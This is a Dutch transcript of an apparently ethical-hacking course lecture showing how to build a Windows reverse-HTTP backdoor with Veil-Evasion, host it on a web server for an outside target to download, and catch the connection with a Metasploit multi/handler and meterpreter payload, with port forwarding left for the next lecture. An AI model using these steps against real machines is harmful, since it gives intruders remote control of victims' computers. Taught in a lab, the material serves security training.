Oké, laten we
doorgaan.
Laten we een achterdeur maken,
en het enige verschil is dat we het IP instellen op het publieke
IP in plaats van het lokale IP, dus we maken een achterdeur
op precies dezelfde manier als toen
we apparaten in hetzelfde netwerk
hackten.
Dus ik ga Veil-Evasion gebruiken en ik ga
dit een beetje snel doen, want
we hebben het gedaan en er is
niets nieuws aan.
Ik ga nummer 9 gebruiken, dus het is precies dezelfde
lading die we in onze vorige video gebruikten.
Het is de omgekeerde http payload.
Dus we gaan 9 gebruiken,
en we zien de opties hier.
We zien dat de LPORT standaard is ingesteld op
8080 en dat ga ik zo houden.
Het enige dat ik ga veranderen is de LHOST, en in de vorige
video's toen we verbindingen ontvingen op
onze eigen computer, stelden we die in op
het lokale IP, dus als ik ifconfig wlan0 doe, stelden
we die in op 192.
168. 0. 1
omdat dat het IP is dat de apparaten binnen het netwerk gebruiken.
Wanneer je dingen aan de buitenkant wilt doen,
willen we het echte IP gebruiken, omdat deze interne IP's niet
zichtbaar zijn voor computers buiten het netwerk.
Dus ik ga het IP gebruiken dat ik zie op
Google, dus als ik 'wat is mijn ip' intik,
krijg ik dit IP en dat ga ik gebruiken als de LHOST in mijn
achterdeur, dus ik ga dit gewoon
kopiëren en ik ga het hier
instellen.
En sorry dat ik het niet goed geplakt heb,
zo ingesteld.
Druk op 'info' om er zeker van te zijn dat alles
goed is ingesteld, dus PORT 8080 gebruiken we het
publieke IP, dus dit is de belangrijkste stap, en dan
gaan we 'genereren'.
En we noemen dit gewoon 'backdoordirty'. exe'.
Je gaat op Enter drukken.
En dat heeft mijn payload voor mij gegenereerd, dus
het is hier opgeslagen.
Dus nogmaals, zoals
gewoonlijk ga ik dit kopiëren en plakken
in mijn var www html en ik zal je laten
zien hoe je dit zelfs van het internet
kunt downloaden van buiten het netwerk.
Dus ik ga dit kopiëren naar mijn webserver map.
Oké, dus dat
is allemaal gedaan.
Nu hoeven we alleen nog maar te luisteren naar inkomende
verbindingen.
We gaan dat doen met de multi/handler, dus
dat hebben we al eerder gedaan.
Ik ga het even snel doen.
En wanneer ik ga luisteren naar de multi/handler,
ga ik eigenlijk luisteren op mijn lokale IP, dus ik ga niet
luisteren op de externe, ik ga luisteren
op de lokale omdat ik niet kan luisteren op
de externe.
Ik zit eigenlijk in het netwerk en ik heb
alleen controle over mijn huidige computer.
Dus wat ik nu ga doen is hier, in de Kali
machine ga ik luisteren op PORT 8080, en in het externe
apparaat zal de backdoor proberen te verbinden met
de backdoor, dus de stap daarna
zullen we IP forwarding instellen om de router te vertellen PORT
8080 door te sturen naar de Kali machine, maar eerst moeten
we luisteren op PORT
8080 in de Kali machine, en we
gaan dat doen met behulp van de
multi/handler.
Dus ik ga gewoon msfconsole doen.
Nogmaals, we hebben
dit eerder gedaan dus ik ga het een beetje snel doen.
Dus ik ga 'exploit/multi/handler' gebruiken.
Ik zet de payload op windows/meterpreter/reverse_http.
Dan gaan we de LPORT instellen op 8080, dus dat is
de poort waarop we verbindingen gaan krijgen, en dan ga
ik de LHOST, de luisterende
host, instellen
op mijn privé IP zoals ik eerder zei, dus
ik ga 'set LHOST
to 192' doen.
168. 0. 11'.
Nu ga ik 'show options' doen om er
zeker van te zijn dat alles goed
is gedaan, en we kunnen zien dat we de LPORT hebben ingesteld op 8080 en de lokale
host op 192. 168. 0. 11 en we gebruiken
een payload van windows/meterpreter/reverse_http.
Dus het is allemaal goed.
Ik ga 'exploiteren'.
Zoals u hier kunt zien,
luistert het op mijn privé IP en
het luistert op PORT 8080.
Dus nu hebben we de twee belangrijkste
stappen gedaan: we hebben een
achterdeur gemaakt, en de achterdeur zal ons verbindingen
teruggeven op basis van het echte IP-adres,
en we luisteren op onze lokale machine.
We luisteren op PORT 8080 in de Kali machine.
Dus wanneer het doelwit de achterdeur
uitvoert op het internet, zal de achterdeur
proberen verbinding te maken
met dit IP op PORT 8080.
Het enige probleem is nu de Gateway,
dat is de router hier.
Hij heeft PORT 8080 niet open, dus hij zal
de verbinding ontvangen.
Hij weet niet wat hij ermee moet doen, dus
we moeten de router configureren
om hem te vertellen dat wanneer je iets krijgt,
wanneer je een verbinding krijgt op PORT 8080, ik wil dat je
hem omleidt naar mijn Kali machine.
En dat kan op twee manieren, waarover
we het in de volgende lezing gaan hebben.